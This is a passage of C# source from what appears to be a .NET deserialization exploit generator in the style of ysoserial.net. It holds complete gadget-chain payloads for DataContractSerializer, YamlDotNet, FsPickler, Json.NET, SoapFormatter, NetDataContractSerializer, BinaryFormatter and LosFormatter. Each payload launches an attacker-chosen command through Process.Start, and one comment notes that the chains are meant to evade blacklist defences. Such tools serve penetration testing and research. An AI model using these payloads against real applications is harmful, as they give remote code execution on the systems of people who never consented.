// This by mixing what we had already in xmlserializer and datacontractserializer
// this can be useful to bypass deserializers that are based on a blacklist
inputArgs.CmdType = CommandArgSplitter.CommandType.XML;
String cmdPart;
if (inputArgs.HasArguments)
{
cmdPart = $@"<ObjectDataProvider.MethodParameters><b:String>{inputArgs.CmdFileName}</b:String><b:String>{inputArgs.CmdArguments}</b:String>";
}
else
{
cmdPart = $@"<ObjectDataProvider.MethodParameters><b:String>{inputArgs.CmdFileName}</b:String>";
}
String payload = $@"<?xml version=""1.0""?>
<root type=""System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"">
<ExpandedWrapperOfXamlReaderObjectDataProviderRexb2zZW xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" xmlns=""http://schemas.datacontract.org/2004/07/System.Data.Services.Internal"" xmlns:z=""http://schemas.microsoft.com/2003/10/Serialization/"">
<ExpandedElement z:Id=""ref1"" >
<__identity xsi:nil=""true"" xmlns=""http://schemas.datacontract.org/2004/07/System""/>
</ExpandedElement>
<ProjectedProperty0 xmlns:a=""http://schemas.datacontract.org/2004/07/System.Windows.Data"">
<a:MethodName>Parse</a:MethodName>
<a:MethodParameters>
<anyType xsi:type=""xsd:string"" xmlns=""http://schemas.microsoft.com/2003/10/Serialization/Arrays"">
<![CDATA[<ResourceDictionary xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:d=""http://schemas.microsoft.com/winfx/2006/xaml"" xmlns:b=""clr-namespace:System;assembly=mscorlib"" xmlns:c=""clr-namespace:System.Diagnostics;assembly=system""><ObjectDataProvider d:Key="""" ObjectType=""{{d:Type c:Process}}"" MethodName=""Start"">{cmdPart}</ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]>
</anyType>
</a:MethodParameters>
<a:ObjectInstance z:Ref=""ref1""/>
</ProjectedProperty0>
</ExpandedWrapperOfXamlReaderObjectDataProviderRexb2zZW>
</root>
";
if (inputArgs.Minify)
{
payload = XMLMinifier.Minify(payload, null, null, FormatterType.DataContractXML, true);
}
if (inputArgs.Test)
{
try
{
SerializersHelper.DataContractSerializer_deserialize(payload, null, "root");
}
catch
{
}
}
return(payload);
}
else if (formatter.ToLower().Equals("datacontractserializer"))
{
inputArgs.CmdType = CommandArgSplitter.CommandType.XML;
String cmdPart;
if (inputArgs.HasArguments)
{
cmdPart = $@"<b:anyType i:type=""c:string"">" + inputArgs.CmdFileName + @"</b:anyType>
<b:anyType i:type=""c:string"">" + inputArgs.CmdArguments + "</b:anyType>";
}
else
{
cmdPart = $@"<anyType i:type=""c:string"" xmlns=""http://schemas.microsoft.com/2003/10/Serialization/Arrays"">" + inputArgs.CmdFileName + @"</anyType>";
}
String payload = $@"<?xml version=""1.0""?>
<root type=""System.Data.Services.Internal.ExpandedWrapper`2[[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]],System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"">
<ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL xmlns=""http://schemas.datacontract.org/2004/07/System.Data.Services.Internal""
xmlns:c=""http://www.w3.org/2001/XMLSchema""
xmlns:i=""http://www.w3.org/2001/XMLSchema-instance""
xmlns:z=""http://schemas.microsoft.com/2003/10/Serialization/""
>
<ExpandedElement z:Id=""ref1"" >
<__identity i:nil=""true"" xmlns=""http://schemas.datacontract.org/2004/07/System""/>
</ExpandedElement>
<ProjectedProperty0 xmlns:a=""http://schemas.datacontract.org/2004/07/System.Windows.Data"">
<a:MethodName>Start</a:MethodName>
<a:MethodParameters xmlns:b=""http://schemas.microsoft.com/2003/10/Serialization/Arrays"">
" + cmdPart + @"
</a:MethodParameters>
<a:ObjectInstance z:Ref=""ref1""/>
</ProjectedProperty0>
</ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL>
</root>
";
if (inputArgs.Minify)
{
payload = XMLMinifier.Minify(payload, null, null, FormatterType.DataContractXML, true);
}
if (inputArgs.Test)
{
try
{
SerializersHelper.DataContractSerializer_deserialize(payload, null, "root");
}
catch
{
}
}
return(payload);
}
else if (formatter.ToLower().Equals("yamldotnet"))
{
inputArgs.CmdType = CommandArgSplitter.CommandType.YamlDotNet;
String cmdPart;
if (inputArgs.HasArguments)
{
cmdPart = $@"FileName: " + inputArgs.CmdFileName + @",
Arguments: " + inputArgs.CmdArguments;
}
else
{
cmdPart = $@"FileName: " + inputArgs.CmdFileName;
}
String payload = @"
!<!System.Windows.Data.ObjectDataProvider,PresentationFramework,Version=4.0.0.0,Culture=neutral,PublicKeyToken=31bf3856ad364e35> {
MethodName: Start,
ObjectInstance:
!<!System.Diagnostics.Process,System,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089> {
StartInfo:
!<!System.Diagnostics.ProcessStartInfo,System,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089> {
" + cmdPart + @"
}
}
}";
if (inputArgs.Minify)
{
payload = YamlDocumentMinifier.Minify(payload);
}
if (inputArgs.Test)
{
try
{
SerializersHelper.YamlDotNet_deserialize(payload);
}
catch
{
}
}
return(payload);
}
else if (formatter.ToLower().Equals("fspickler"))
{
inputArgs.CmdType = CommandArgSplitter.CommandType.XML;
String cmdPart;
if (inputArgs.HasArguments)
{
cmdPart = $@"<ObjectDataProvider.MethodParameters><b:String>{inputArgs.CmdFileName}</b:String><b:String>{inputArgs.CmdArguments}</b:String>";
}
else
{
cmdPart = $@"<ObjectDataProvider.MethodParameters><b:String>{inputArgs.CmdFileName}</b:String>";
}
String internalPayload = @"<ResourceDictionary xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:d=""http://schemas.microsoft.com/winfx/2006/xaml"" xmlns:b=""clr-namespace:System;assembly=mscorlib"" xmlns:c=""clr-namespace:System.Diagnostics;assembly=system""><ObjectDataProvider d:Key="""" ObjectType=""{d:Type c:Process}"" MethodName=""Start"">" + cmdPart + @"</ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>";
internalPayload = CommandArgSplitter.JsonStringEscape(internalPayload);
String payload = @"{
""FsPickler"": ""4.0.0"",
""type"": ""System.Object"",
""value"": {
""_flags"": ""subtype"",
""subtype"": {
""Case"": ""NamedType"",
""Name"": ""Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties"",
""Assembly"": {
""Name"": ""Microsoft.PowerShell.Editor"",
""Version"": ""3.0.0.0"",
""Culture"": ""neutral"",
""PublicKeyToken"": ""31bf3856ad364e35""
}
},
""instance"": {
""serializationEntries"": [
{
""Name"": ""ForegroundBrush"",
""Type"": {
""Case"": ""NamedType"",
""Name"": ""System.String"",
""Assembly"": {
""Name"": ""mscorlib"",
""Version"": ""4.0.0.0"",
""Culture"": ""neutral"",
""PublicKeyToken"": ""b77a5c561934e089""
}
},
""Value"": """ + internalPayload + @"""
}
]
}
}
}";
if (inputArgs.Minify)
{
payload = JSONMinifier.Minify(payload, null, null);
}
if (inputArgs.Test)
{
try
{
var serializer = MBrace.CsPickler.CsPickler.CreateJsonSerializer(true);
serializer.UnPickleOfString <Object>(payload);
}
catch
{
}
}
return(payload);
}
else
{
throw new Exception("Formatter not supported");
}
}
public override object Generate(string formatter, InputArgs inputArgs)
{
Generator generator = new TextFormattingRunPropertiesGenerator();
byte[] binaryFormatterPayload = (byte[])generator.GenerateWithNoTest("BinaryFormatter", inputArgs);
string b64encoded = Convert.ToBase64String(binaryFormatterPayload);
if (formatter.Equals("binaryformatter", StringComparison.OrdinalIgnoreCase) ||
formatter.Equals("losformatter", StringComparison.OrdinalIgnoreCase) ||
formatter.Equals("objectstateformatter", StringComparison.OrdinalIgnoreCase))
{
var obj = new IdentityMarshal(b64encoded);
return(Serialize(obj, formatter, inputArgs));
}
else if (formatter.ToLower().Equals("json.net"))
{
string payload = @"{
'$type': 'System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'System.Security.ClaimsIdentity.actor': '" + b64encoded + @"'
}";
if (inputArgs.Minify)
{
if (inputArgs.UseSimpleType)
{
payload = JSONMinifier.Minify(payload, new string[] { "mscorlib" }, null);
}
else
{
payload = JSONMinifier.Minify(payload, null, null);
}
}
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(payload);
}
else if (formatter.ToLower().Equals("datacontractserializer"))
{
string payload = $@"<root type=""System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"">
<WindowsIdentity xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:x=""http://www.w3.org/2001/XMLSchema"" xmlns=""http://schemas.datacontract.org/2004/07/System.Security.Principal"">
<System.Security.ClaimsIdentity.actor i:type=""x:string"" xmlns="""">{b64encoded}</System.Security.ClaimsIdentity.actor>
</WindowsIdentity>
</root>
";
if (inputArgs.Minify)
{
if (inputArgs.UseSimpleType)
{
payload = XMLMinifier.Minify(payload, new string[] { "mscorlib" }, null);
}
else
{
payload = XMLMinifier.Minify(payload, null, null);
}
}
if (inputArgs.Test)
{
try
{
SerializersHelper.DataContractSerializer_deserialize(payload, null, "root", "type");
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(payload);
}
else if (formatter.ToLower().Equals("netdatacontractserializer"))
{
string payload = $@"<root>
<w xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" z:Type=""System.Security.Principal.WindowsIdentity"" z:Assembly=""mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"" xmlns:z=""http://schemas.microsoft.com/2003/10/Serialization/"" xmlns="""">
<System.Security.ClaimsIdentity.actor z:Type=""System.String"" z:Assembly=""0"" >{b64encoded}</System.Security.ClaimsIdentity.actor>
</w>
</root>
";
if (inputArgs.Minify)
{
if (inputArgs.UseSimpleType)
{
payload = XMLMinifier.Minify(payload, new string[] { "mscorlib" }, null);
}
else
{
payload = XMLMinifier.Minify(payload, null, null);
}
}
if (inputArgs.Test)
{
try
{
SerializersHelper.NetDataContractSerializer_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(payload);
}
else if (formatter.ToLower().Equals("soapformatter"))
{
string payload = $@"<SOAP-ENV:Envelope xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" xmlns:SOAP-ENC=""http://schemas.xmlsoap.org/soap/encoding/"" xmlns:SOAP-ENV=""http://schemas.xmlsoap.org/soap/envelope/"" xmlns:clr=""http://schemas.microsoft.com/soap/encoding/clr/1.0"" SOAP-ENV:encodingStyle=""http://schemas.xmlsoap.org/soap/encoding/"">
<SOAP-ENV:Body>
<a1:WindowsIdentity id=""ref-1"" xmlns:a1=""http://schemas.microsoft.com/clr/nsassem/System.Security.Principal/mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"">
<System.Security.ClaimsIdentity.actor xsi:type=""xsd:string"" xmlns="""">{b64encoded}</System.Security.ClaimsIdentity.actor>
</a1:WindowsIdentity>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
";
if (inputArgs.Minify)
{
if (inputArgs.UseSimpleType)
{
payload = XMLMinifier.Minify(payload, new string[] { "mscorlib" }, null, FormatterType.SoapFormatter);
}
else
{
payload = XMLMinifier.Minify(payload, null, null, FormatterType.SoapFormatter);
}
}
if (inputArgs.Test)
{
try
{
SerializersHelper.SoapFormatter_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(payload);
}
else
{
throw new Exception("Formatter not supported");
}
}
private void ManualTCDGPayload4Minifying()
{
/*
* sampleInputArgs.Minify = true;
* sampleInputArgs.UseSimpleType = true;
*
* object tcd = TypeConfuseDelegateGenerator.TypeConfuseDelegateGadget(sampleInputArgs);
*
* TypeConfuseDelegateGenerator tcdg = new TypeConfuseDelegateGenerator();
* byte[] tcd_bf_byte = (byte[]) tcdg.GenerateWithNoTest("binaryformatter", sampleInputArgs);
* string tcd_json = AdvancedBinaryFormatterParser.StreamToJson(new MemoryStream(tcd_bf_byte),false, true);
* Console.WriteLine(tcd_json);
* //*/
//*
string tcd_json = @"[{'Id': 1,
'Data': {
'$type': 'SerializationHeaderRecord',
'binaryFormatterMajorVersion': 1,
'binaryFormatterMinorVersion': 0,
'binaryHeaderEnum': 0,
'topId': 1,
'headerId': -1,
'majorVersion': 1,
'minorVersion': 0
}},{'Id': 2,
'TypeName': 'Assembly',
'Data': {
'$type': 'BinaryAssembly',
'assemId': 2,
'assemblyString': 'System'
}},{'Id': 3,
'TypeName': 'ObjectWithMapTypedAssemId',
'Data': {
'$type': 'BinaryObjectWithMapTyped',
'binaryHeaderEnum': 5,
'objectId': 1,
'name': 'System.Collections.Generic.SortedSet`1[[System.String,mscorlib]]',
'numMembers': 4,
'memberNames':['Count','Comparer','Version','Items'],
'binaryTypeEnumA':[0,1,0,1],
'typeInformationA': null,
'typeInformationB':[8,null,8,null],
'memberAssemIds':[0,0,0,0],
'assemId': 2
}},{'Id': 4,
'TypeName': 'Int32',
'IsPrimitive': true,
'Data': {
'$type': 'MemberPrimitiveUnTyped',
'typeInformation': 8,
'value': 2
}},{'Id': 5,
'TypeName': 'MemberReference',
'Data': {
'$type': 'MemberReference',
'idRef': 3
}},{'Id': 6,
'TypeName': 'Int32',
'IsPrimitive': true,
'Data': {
'$type': 'MemberPrimitiveUnTyped',
'typeInformation': 8,
'value': 0
}},{'Id': 7,
'TypeName': 'MemberReference',
'Data': {
'$type': 'MemberReference',
'idRef': 4
}},{'Id': 8,
'TypeName': 'ObjectWithMapTyped',
'Data': {
'$type': 'BinaryObjectWithMapTyped',
'binaryHeaderEnum': 4,
'objectId': 3,
'name': 'System.Collections.Generic.ComparisonComparer`1[[System.String]]',
'numMembers': 1,
'memberNames':['_comparison'],
'binaryTypeEnumA':[1],
'typeInformationA': null,
'typeInformationB':[null],
'memberAssemIds':[0],
'assemId': 0
}},{'Id': 9,
'TypeName': 'MemberReference',
'Data': {
'$type': 'MemberReference',
'idRef': 5
}},{'Id': 10,
'TypeName': 'ArraySingleString',
'Data': {
'$type': 'BinaryArray',
'objectId': 4,
'rank': 0,
'lengthA':[2],
'lowerBoundA': null,
'binaryTypeEnum': 0,
'typeInformation': null,
'assemId': 0,
'binaryHeaderEnum': 17,
'binaryArrayTypeEnum': 0
}},{'Id': 11,
'TypeName': 'ObjectString',
'Data': {
'$type': 'BinaryObjectString',
'objectId': 6,
'value': '/foo bar'
}},{'Id': 12,
'TypeName': 'ObjectString',
'Data': {
'$type': 'BinaryObjectString',
'objectId': 7,
'value': 'TestConsoleApp_YSONET'
}},{'Id': 13,
'TypeName': 'ObjectWithMapTyped',
'Data': {
'$type': 'BinaryObjectWithMapTyped',
'binaryHeaderEnum': 4,
'objectId': 5,
'name': 'System.DelegateSerializationHolder',
'numMembers': 3,
'memberNames':['Delegate','','x'],
'binaryTypeEnumA':[1,1,1],
'typeInformationA': null,
'typeInformationB':[null,null,null],
'memberAssemIds':[0,0,0],
'assemId': 0
}},{'Id': 14,
'TypeName': 'MemberReference',
'Data': {
'$type': 'MemberReference',
'idRef': 8
}},{'Id': 0,
'TypeName': 'ObjectNull',
'Data': {
'$type': 'ObjectNull',
'nullCount': 0
}},{'Id': 0,
'TypeName': 'ObjectNull',
'Data': {
'$type': 'ObjectNull',
'nullCount': 0
}},{'Id': 17,
'TypeName': 'ObjectWithMapTyped',
'Data': {
'$type': 'BinaryObjectWithMapTyped',
'binaryHeaderEnum': 4,
'objectId': 8,
'name': 'System.DelegateSerializationHolder+DelegateEntry',
'numMembers': 7,
'memberNames':['type','assembly','','targetTypeAssembly','targetTypeName','methodName','delegateEntry'],
'binaryTypeEnumA':[1,1,1,1,1,1,1],
'typeInformationA': null,
'typeInformationB':[null,null,null,null,null,null,null],
'memberAssemIds':[0,0,0,0,0,0,0],
'assemId': 0
}},{'Id': 18,
'TypeName': 'ObjectString',
'Data': {
'$type': 'BinaryObjectString',
'objectId': 11,
'value': 'System.Func`3[[System.String],[System.String],[System.Diagnostics.Process,System,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089]]'
}},{'Id': 19,
'TypeName': 'ObjectString',
'Data': {
'$type': 'BinaryObjectString',
'objectId': 12,
'value': 'mscorlib'
}},{'Id': 20,
'TypeName': 'ObjectNull',
'Data': {
'$type': 'ObjectNull',
'nullCount': 0
}},{'Id': 21,
'TypeName': 'ObjectString',
'Data': {
'$type': 'BinaryObjectString',
'objectId': 13,
'value': 'System,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089'
}},{'Id': 22,
'TypeName': 'ObjectString',
'Data': {
'$type': 'BinaryObjectString',
'objectId': 14,
'value': 'System.Diagnostics.Process'
}},{'Id': 23,
'TypeName': 'ObjectString',
'Data': {
'$type': 'BinaryObjectString',
'objectId': 15,
'value': 'Start'
}},{'Id': 24,
'TypeName': 'MemberReference',
'Data': {
'$type': 'MemberReference',
'idRef': 16
}},{'Id': 25,
'TypeName': 'ObjectWithMapTyped',
'Data': {
'$type': 'BinaryObjectWithMapTyped',
'binaryHeaderEnum': 4,
'objectId': 9,
'name': 'x',
'numMembers': 7,
'memberNames':['','','','','','',''],
'binaryTypeEnumA':[1,1,1,1,1,0,1],
'typeInformationA': null,
'typeInformationB':[null,null,null,null,null,8,null],
'memberAssemIds':[0,0,0,0,0,0,0],
'assemId': 0
}},{'Id': 0,
'TypeName': 'ObjectNull',
'Data': {
'$type': 'ObjectNull',
'nullCount': 0
}},{'Id': 0,
'TypeName': 'ObjectNull',
'Data': {
'$type': 'ObjectNull',
'nullCount': 0
}},{'Id': 0,
'TypeName': 'ObjectNull',
'Data': {
'$type': 'ObjectNull',
'nullCount': 0
}},{'Id': 0,
'TypeName': 'ObjectNull',
'Data': {
'$type': 'ObjectNull',
'nullCount': 0
}},{'Id': 0,
'TypeName': 'ObjectNull',
'Data': {
'$type': 'ObjectNull',
'nullCount': 0
}},{'Id': 31,
'TypeName': 'Int32',
'IsPrimitive': true,
'Data': {
'$type': 'MemberPrimitiveUnTyped',
'typeInformation': 8,
'value': 0
}},{'Id': 33,
'TypeName': 'Object',
'Data': {
'$type': 'BinaryObject',
'objectId': 10,
'mapId': 9
}},{'Id': 34,
'TypeName': 'ObjectString',
'Data': {
'$type': 'BinaryObjectString',
'objectId': 22,
'value': 'Compare'
}},{'Id': 0,
'TypeName': 'ObjectNull',
'Data': {
'$type': 'ObjectNull',
'nullCount': 0
}},{'Id': 36,
'TypeName': 'ObjectString',
'Data': {
'$type': 'BinaryObjectString',
'objectId': 24,
'value': 'System.String'
}},{'Id': 0,
'TypeName': 'ObjectNull',
'Data': {
'$type': 'ObjectNull',
'nullCount': 0
}},{'Id': 0,
'TypeName': 'ObjectNull',
'Data': {
'$type': 'ObjectNull',
'nullCount': 0
}},{'Id': 39,
'TypeName': 'Int32',
'IsPrimitive': true,
'Data': {
'$type': 'MemberPrimitiveUnTyped',
'typeInformation': 8,
'value': 0
}},{'Id': 40,
'TypeName': 'ObjectNull',
'Data': {
'$type': 'ObjectNull',
'nullCount': 0
}},{'Id': 41,
'TypeName': 'Object',
'Data': {
'$type': 'BinaryObject',
'objectId': 16,
'mapId': 8
}},{'Id': 42,
'TypeName': 'ObjectString',
'Data': {
'$type': 'BinaryObjectString',
'objectId': 27,
'value': 'System.Comparison`1[[System.String]]'
}},{'Id': 43,
'TypeName': 'MemberReference',
'Data': {
'$type': 'MemberReference',
'idRef': 12
}},{'Id': 44,
'TypeName': 'ObjectNull',
'Data': {
'$type': 'ObjectNull',
'nullCount': 0
}},{'Id': 45,
'TypeName': 'MemberReference',
'Data': {
'$type': 'MemberReference',
'idRef': 12
}},{'Id': 46,
'TypeName': 'MemberReference',
'Data': {
'$type': 'MemberReference',
'idRef': 24
}},{'Id': 47,
'TypeName': 'MemberReference',
'Data': {
'$type': 'MemberReference',
'idRef': 22
}},{'Id': 49,
'TypeName': 'MessageEnd',
'Data': {
'$type': 'MessageEnd'
}}]";
MemoryStream ms = AdvancedBinaryFormatterParser.JsonToStream(tcd_json);
try
{
string lfStr = Encoding.UTF8.GetString(SimpleMinifiedObjectLosFormatter.BFStreamToLosFormatterStream(ms).ToArray());
Console.WriteLine("Length: " + lfStr.Length);
SerializersHelper.LosFormatter_deserialize(lfStr);
}
catch
{
Console.WriteLine("Error");
}
//*/
}
public override object Generate(string formatter, InputArgs inputArgs)
{
if (inputArgs.Minify && inputArgs.UseSimpleType &&
(formatter.Equals("binaryformatter", StringComparison.OrdinalIgnoreCase) || formatter.Equals("LosFormatter", StringComparison.OrdinalIgnoreCase)))
{
// This is to provide even a smaller payload
inputArgs.CmdType = CommandArgSplitter.CommandType.JSON;
string tcd_json_minified = @"[{'Id': 1,
'Data': {
'$type': 'SerializationHeaderRecord',
'binaryFormatterMajorVersion': 1,
'binaryFormatterMinorVersion': 0,
'binaryHeaderEnum': 0,
'topId': 1,
'headerId': -1,
'majorVersion': 1,
'minorVersion': 0
}},{'Id': 2,
'TypeName': 'Assembly',
'Data': {
'$type': 'BinaryAssembly',
'assemId': 2,
'assemblyString': 'System'
}},{'Id': 3,
'TypeName': 'ObjectWithMapTypedAssemId',
'Data': {
'$type': 'BinaryObjectWithMapTyped',
'binaryHeaderEnum': 5,
'objectId': 1,
'name': 'System.Collections.Generic.SortedSet`1[[System.String,mscorlib]]',
'numMembers': 4,
'memberNames':['Count','Comparer','Version','Items'],
'binaryTypeEnumA':[0,1,0,1],
'typeInformationA': null,
'typeInformationB':[8,null,8,null],
'memberAssemIds':[0,0,0,0],
'assemId': 2
}},{'Id': 4,
'TypeName': 'Int32',
'IsPrimitive': true,
'Data': {
'$type': 'MemberPrimitiveUnTyped',
'typeInformation': 8,
'value': 2
}},{'Id': 5,
'TypeName': 'MemberReference',
'Data': {
'$type': 'MemberReference',
'idRef': 3
}},{'Id': 6,
'TypeName': 'Int32',
'IsPrimitive': true,
'Data': {
'$type': 'MemberPrimitiveUnTyped',
'typeInformation': 8,
'value': 0
}},{'Id': 7,
'TypeName': 'MemberReference',
'Data': {
'$type': 'MemberReference',
'idRef': 4
}},{'Id': 8,
'TypeName': 'ObjectWithMapTyped',
'Data': {
'$type': 'BinaryObjectWithMapTyped',
'binaryHeaderEnum': 4,
'objectId': 3,
'name': 'System.Collections.Generic.ComparisonComparer`1[[System.String]]',
'numMembers': 1,
'memberNames':['_comparison'],
'binaryTypeEnumA':[1],
'typeInformationA': null,
'typeInformationB':[null],
'memberAssemIds':[0],
'assemId': 0
}},{'Id': 9,
'TypeName': 'MemberReference',
'Data': {
'$type': 'MemberReference',
'idRef': 5
}},{'Id': 10,
'TypeName': 'ArraySingleString',
'Data': {
'$type': 'BinaryArray',
'objectId': 4,
'rank': 0,
'lengthA':[2],
'lowerBoundA': null,
'binaryTypeEnum': 0,
'typeInformation': null,
'assemId': 0,
'binaryHeaderEnum': 17,
'binaryArrayTypeEnum': 0
}},{'Id': 11,
'TypeName': 'ObjectString',
'Data': {
'$type': 'BinaryObjectString',
'objectId': 6,
'value': '" + inputArgs.CmdArguments + @"'
}},{'Id': 12,
'TypeName': 'ObjectString',
'Data': {
'$type': 'BinaryObjectString',
'objectId': 7,
'value': '" + inputArgs.CmdFileName + @"'
}},{'Id': 13,
'TypeName': 'ObjectWithMapTyped',
'Data': {
'$type': 'BinaryObjectWithMapTyped',
'binaryHeaderEnum': 4,
'objectId': 5,
'name': 'System.DelegateSerializationHolder',
'numMembers': 3,
'memberNames':['Delegate','','x'],
'binaryTypeEnumA':[1,1,1],
'typeInformationA': null,
'typeInformationB':[null,null,null],
'memberAssemIds':[0,0,0],
'assemId': 0
}},{'Id': 14,
'TypeName': 'MemberReference',
'Data': {
'$type': 'MemberReference',
'idRef': 8
}},{'Id': 0,
'TypeName': 'ObjectNull',
'Data': {
'$type': 'ObjectNull',
'nullCount': 0
}},{'Id': 0,
'TypeName': 'ObjectNull',
'Data': {
'$type': 'ObjectNull',
'nullCount': 0
}},{'Id': 17,
'TypeName': 'ObjectWithMapTyped',
'Data': {
'$type': 'BinaryObjectWithMapTyped',
'binaryHeaderEnum': 4,
'objectId': 8,
'name': 'System.DelegateSerializationHolder+DelegateEntry',
'numMembers': 7,
'memberNames':['type','assembly','','targetTypeAssembly','targetTypeName','methodName','delegateEntry'],
'binaryTypeEnumA':[1,1,1,1,1,1,1],
'typeInformationA': null,
'typeInformationB':[null,null,null,null,null,null,null],
'memberAssemIds':[0,0,0,0,0,0,0],
'assemId': 0
}},{'Id': 18,
'TypeName': 'ObjectString',
'Data': {
'$type': 'BinaryObjectString',
'objectId': 11,
'value': 'System.Func`3[[System.String],[System.String],[System.Diagnostics.Process,System,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089]]'
}},{'Id': 19,
'TypeName': 'ObjectString',
'Data': {
'$type': 'BinaryObjectString',
'objectId': 12,
'value': 'mscorlib'
}},{'Id': 20,
'TypeName': 'ObjectNull',
'Data': {
'$type': 'ObjectNull',
'nullCount': 0
}},{'Id': 21,
'TypeName': 'ObjectString',
'Data': {
'$type': 'BinaryObjectString',
'objectId': 13,
'value': 'System,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089'
}},{'Id': 22,
'TypeName': 'ObjectString',
'Data': {
'$type': 'BinaryObjectString',
'objectId': 14,
'value': 'System.Diagnostics.Process'
}},{'Id': 23,
'TypeName': 'ObjectString',
'Data': {
'$type': 'BinaryObjectString',
'objectId': 15,
'value': 'Start'
}},{'Id': 24,
'TypeName': 'MemberReference',
'Data': {
'$type': 'MemberReference',
'idRef': 16
}},{'Id': 25,
'TypeName': 'ObjectWithMapTyped',
'Data': {
'$type': 'BinaryObjectWithMapTyped',
'binaryHeaderEnum': 4,
'objectId': 9,
'name': 'x',
'numMembers': 7,
'memberNames':['','','','','','',''],
'binaryTypeEnumA':[1,1,1,1,1,0,1],
'typeInformationA': null,
'typeInformationB':[null,null,null,null,null,8,null],
'memberAssemIds':[0,0,0,0,0,0,0],
'assemId': 0
}},{'Id': 0,
'TypeName': 'ObjectNull',
'Data': {
'$type': 'ObjectNull',
'nullCount': 0
}},{'Id': 0,
'TypeName': 'ObjectNull',
'Data': {
'$type': 'ObjectNull',
'nullCount': 0
}},{'Id': 0,
'TypeName': 'ObjectNull',
'Data': {
'$type': 'ObjectNull',
'nullCount': 0
}},{'Id': 0,
'TypeName': 'ObjectNull',
'Data': {
'$type': 'ObjectNull',
'nullCount': 0
}},{'Id': 0,
'TypeName': 'ObjectNull',
'Data': {
'$type': 'ObjectNull',
'nullCount': 0
}},{'Id': 31,
'TypeName': 'Int32',
'IsPrimitive': true,
'Data': {
'$type': 'MemberPrimitiveUnTyped',
'typeInformation': 8,
'value': 0
}},{'Id': 33,
'TypeName': 'Object',
'Data': {
'$type': 'BinaryObject',
'objectId': 10,
'mapId': 9
}},{'Id': 34,
'TypeName': 'ObjectString',
'Data': {
'$type': 'BinaryObjectString',
'objectId': 22,
'value': 'Compare'
}},{'Id': 0,
'TypeName': 'ObjectNull',
'Data': {
'$type': 'ObjectNull',
'nullCount': 0
}},{'Id': 36,
'TypeName': 'ObjectString',
'Data': {
'$type': 'BinaryObjectString',
'objectId': 24,
'value': 'System.String'
}},{'Id': 0,
'TypeName': 'ObjectNull',
'Data': {
'$type': 'ObjectNull',
'nullCount': 0
}},{'Id': 0,
'TypeName': 'ObjectNull',
'Data': {
'$type': 'ObjectNull',
'nullCount': 0
}},{'Id': 39,
'TypeName': 'Int32',
'IsPrimitive': true,
'Data': {
'$type': 'MemberPrimitiveUnTyped',
'typeInformation': 8,
'value': 0
}},{'Id': 40,
'TypeName': 'ObjectNull',
'Data': {
'$type': 'ObjectNull',
'nullCount': 0
}},{'Id': 41,
'TypeName': 'Object',
'Data': {
'$type': 'BinaryObject',
'objectId': 16,
'mapId': 8
}},{'Id': 42,
'TypeName': 'ObjectString',
'Data': {
'$type': 'BinaryObjectString',
'objectId': 27,
'value': 'System.Comparison`1[[System.String]]'
}},{'Id': 43,
'TypeName': 'MemberReference',
'Data': {
'$type': 'MemberReference',
'idRef': 12
}},{'Id': 44,
'TypeName': 'ObjectNull',
'Data': {
'$type': 'ObjectNull',
'nullCount': 0
}},{'Id': 45,
'TypeName': 'MemberReference',
'Data': {
'$type': 'MemberReference',
'idRef': 12
}},{'Id': 46,
'TypeName': 'MemberReference',
'Data': {
'$type': 'MemberReference',
'idRef': 24
}},{'Id': 47,
'TypeName': 'MemberReference',
'Data': {
'$type': 'MemberReference',
'idRef': 22
}},{'Id': 49,
'TypeName': 'MessageEnd',
'Data': {
'$type': 'MessageEnd'
}}]";
MemoryStream ms_bf = AdvancedBinaryFormatterParser.JsonToStream(tcd_json_minified);
if (formatter.Equals("binaryformatter", StringComparison.OrdinalIgnoreCase))
{
//BinaryFormatter
if (inputArgs.Test)
{
try
{
ms_bf.Position = 0;
